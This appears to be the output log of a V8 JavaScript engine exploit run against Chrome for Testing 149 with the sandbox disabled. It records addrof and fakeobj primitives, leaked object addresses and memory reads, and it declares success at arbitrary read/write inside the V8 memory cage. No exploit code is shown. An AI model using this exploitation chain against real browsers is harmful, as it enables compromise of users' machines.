Google Chrome for Testing 149.0.7827.115
Chromium branch position: 1625079
Embedded V8 commit: 16ef80c1f5d3cfade812bd1743952a4cfd480a31
Embedded V8 version: 14.9.207.27
V8 runtime flags: none
Browser process sandbox flag for local container: --no-sandbox

addrof(carrier) = 0x011ed999
addrof(victim)  = 0x011eda11
fakeobj length  = 32
carrier +0x00  = 0x010329bd 0x000007e5
carrier +0x08  = 0x011ed9b1 0x00000010
victim.elements = 0x011eda29, victim.length = 0x00000004
readback       = 0xe8a71de7 0x4094e488
victim[0]      = 1337.1337
CHROME_STABLE_FULL_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write
